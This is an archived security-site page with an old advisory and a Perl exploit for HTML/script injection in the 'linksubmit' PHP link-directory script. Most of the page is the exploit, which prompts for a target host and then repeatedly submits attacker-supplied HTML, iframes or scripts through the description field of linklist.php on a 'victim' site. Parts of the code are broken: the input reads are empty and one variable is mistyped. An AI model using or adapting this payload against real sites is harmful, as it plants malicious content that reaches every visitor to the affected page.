Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: PHP :: b06-1336.htm

linksubmit <= All version Html Tag Injector in index.php



linksubmit <= All version Html Tag Injector in index.php
linksubmit <= All version Html Tag Injector in index.php



Vendor : linksubmit 
Version : All Version 
www : http://www.phpselect.com 
AUTHOR : s3rv3r_hack3r
you can submit html tag's in $description  (linksubmit.php)

Exploit : 
#!/usr/bin/perl
#
# Exploit by s3rv3r_hack3r
# Special Thanx : hessamx , f0rk ,sattar.li , stanic, mfox,blood moon and..
######################################################
#  ___ ___                __                         #
# /   |   \_____    ____ |  | __ ___________________ #
#/    ~    \__  \ _/ ___\|  |/ // __ \_  __ \___   / #
#\    Y    // __ \\  \___|    <\  ___/|  | \//    /  #
# \___|_  /(____  )\___  >__|_ \\___  >__|  /_____ \ #
#       \/      \/     \/     \/    \/            \/ #
#             Iran Hackerz Security Team             #
# WebSite: www.hackerz.ir # 
######################################################
# Name    : linksubmit                               #
# Site : http://www.phpselect.com/ # 
######################################################
#you can use iframe,script and all html tags
#bug in linklist.php !!
#www.victim.com/linklist 
use LWP::Simple;


print "-------------------------------------------\n";
print "=      Iran hacekerz security team        =\n";
print "= By s3rv3r_hack3r - www.hackerz.ir =\n"; 
print "-------------------------------------------\n\n";


print "Target >http://"; 
      chomp($targ = );
      print "your web site name >";
      chomp($wwwname= );
      print "your web site url >";
      chomp($wsurl= );
      print "your email >";
      chomp($mail= );
   
$con=get("http://".$targ."/linklist.php") || die "[-]Cannot connect to Host"; 
while ()  
{  
     print "Html code\$";
     chomp($comd=);
$commd=get("http://".$targ."/linklist.php?wsname=".$wwwname."&wsurl=".url."&email=".$mail."&description=".$comd) 
}


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH